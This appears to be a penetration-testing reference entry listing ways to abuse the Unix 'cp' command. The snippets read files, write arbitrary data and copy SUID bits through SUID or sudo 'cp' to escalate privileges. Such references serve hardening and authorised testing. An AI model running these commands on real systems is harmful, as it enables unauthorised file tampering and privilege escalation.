code |
LFILE=file_to_read
cp "$LFILE" /dev/stdout
|
|
|
code |
LFILE=file_to_write
echo "DATA" | cp /dev/stdin "$LFILE"
|
|
|
code |
LFILE=file_to_write
echo "DATA" | ./cp /dev/stdin "$LFILE"
|
|
description |
code |
This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.) |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
./cp $TF $LFILE
|
|
description |
code |
This can copy SUID permissions from any SUID binary (e.g., `cp` itself) to another. |
LFILE=file_to_change
./cp --attributes-only --preserve=all ./cp "$LFILE"
|
|
|
code |
LFILE=file_to_write
echo "DATA" | sudo cp /dev/stdin "$LFILE"
|
|
description |
code |
This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.) |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
sudo cp $TF $LFILE
|
|
|